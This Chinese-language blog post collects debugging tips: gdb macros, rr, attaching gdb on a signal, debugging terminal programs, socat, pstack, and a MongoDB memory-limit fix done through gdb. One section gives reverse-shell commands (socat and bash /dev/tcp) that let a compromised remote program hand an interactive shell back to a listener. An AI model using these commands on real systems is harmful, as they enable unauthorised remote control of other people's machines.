调试技巧2

之前写过一篇《Debug Hacks》和调试技巧

CFLAGS使用-g3

对于重度使用macro的程序很有用,可以在gdb里使用info macro NAMEmacro expand EXPR等命令了,print参数里的macro也可以展开。

rr

参见http://rr-project.org/,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片http://rr-project.org/rr.html介绍了很多内部机理,值得一看。

gdb -p不可用: ptrace: Operation not permitted.

gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope,参见https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0

收到SIGINT(或其他信号)后立刻用gdb调试自己

设想是fork产生一个新进程并停下来,原进程exec成gdb并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。

这里SIGINT可以考虑换成SIGFPESIGSEGV等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。

https://gist.github.com/MaskRay/298e87e465f45988d37f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
void sigint(int)
{
pid_t pid = fork();
if (pid == -1)
abort();
else if (pid) {
char s[13];
sprintf(s, "%d", pid);
execlp("gdb", "gdb", "-p", s, NULL);
} else {
setpgid(0, getpid());
kill(getpid(), SIGSTOP);
}
}
 
int main()
{
signal(SIGINT, sigint);
sleep(1337);
puts("seen after gdb");
sleep(1337);
}

调试使用终端特性的程序

对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。

使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称,如/dev/pts/13,然后创建新shell会话,假设终端名是/dev/pts/14,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话,/dev/pts/14的前台进程组是shell,会抢夺终端输入,而sleep不会读取终端输入,因此不会和被调试程序竞争)。

然后回到原来的shell会话(/dev/pts/13),用gdb调试程序:

1
2
3
% gdb -tty /dev/pts/14 --args rlwrap rev
Reading symbols from rlwrap...(no debugging symbols found)...done.
(gdb) r

之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty

注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14,但没有控制终端(controlling terminal),并且能在/dev/pts/14看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb尝试把/dev/pts/14设为被调试进程的控制进程,但失败了。因为/dev/pts/14是另外两个进程的控制终端(shell和sleep 9999),无法抢夺(参看man tty_ioctlTIOCSCTTY)。就我所知,与控制终端关联仅影响前台进程组的一些特性与信号递送,不影响终端模式的变更,对于多数程序用不着特定终端成为控制终端,只需有文件描述符指向终端即可,因此这个错误无关紧要。

参见http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php

socat

把不同输入输出端对接的瑞士军刀,是nc的进化型,支持非常多的网络协议、文件等IO方式。

下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。

对弈的gnuchess

创建black.sh

1
2
#!/bin/zsh
{ echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh

创建white.sh

1
2
#!/bin/zsh
{ echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess,输入depth 0后可以限制它的搜索深度(加快运行速度),输入go可以让它走一步。

写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。

输入输出到终端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive shell的方法:

本地监听9999端口,等远端被pwn的程序连接:

1
2
socat stdio,raw,echo=0 tcp-l:9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw

远端执行:

1
socat tcp:0:9999 exec:'bash -i',pty,stderr  # 0应填之前监听9999端口的机器的IP

当然远端很可能没有socat,可以用util-linux包中的script

1
script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&1  # 使用了bash创建socket的功能

pstack

打印指定进程的系统栈。

本质是一段脚本,核心是下面这句话:

1
2
#!/bin/zsh
gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p'

你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。

1
2
3
4
5
6
7
8
9
10
11
12
% pstack $$
#0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so.6
#1 0x0000000000471906 in signal_suspend ()
#2 0x0000000000442d56 in ?? ()
#3 0x0000000000443437 in waitjobs ()
#4 0x0000000000429b4b in ?? ()
#5 0x000000000042a6e1 in execlist ()
#6 0x000000000042a970 in execode ()
#7 0x000000000043c1dc in loop ()
#8 0x000000000043f30e in zsh_main ()
#9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so.6
#10 0x000000000041013e in _start ()

安装新的gdb

gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。

1
./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python

~/.gdbinit里添加:

1
2
3
4
5
6
python
import sys
sys.path.append('/usr/share/gcc-4.9/python')
from libstdcxx.v6.printers import register_libstdcxx_printers
register_libstdcxx_printers(None)
end

没有源码的环境调试

用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory命令设置源码查找目录。另外还有set substitute-path,参见info '(gdb) Source Path'

MongoDB resource limits动态设置调试记

MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用, 就在启动mongod前执行ulimit -v $[512*1024],效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。

在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:

1
2
2015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build)
2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in log for more information)

大概每5秒钟会产生一段错误记录,估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用:strace -fe mmap -p $(pgrep -n mongod),产生大量重复的输出:

1
2
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)

即以两个mmap为单元,不断输出这两行,注意到mmap(2)参数中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间,发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,终于想到是先前ulimit -v限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod,修改resource limits后重启,二是动态修改resource limits。为了好玩,自然选第二个。先要找出RLIMIT_AS的数值:ag RLIMIT_AS /usr/include/bits,发现是9,之后用gdb attach到mongod上修改resource limits:

1
2
3
4
5
6
7
$ gdb -p $(pgrep -n mongod)
(gdb) set $r = &{0ll, 0ll}
(gdb) p getrlimit(9,$r)
$1 = 0
(gdb) set (*$r)[0]=-1 # struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur
(gdb) p setrlimit(9,$r)
$1 = 0

成功修改了resource limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap的错误了。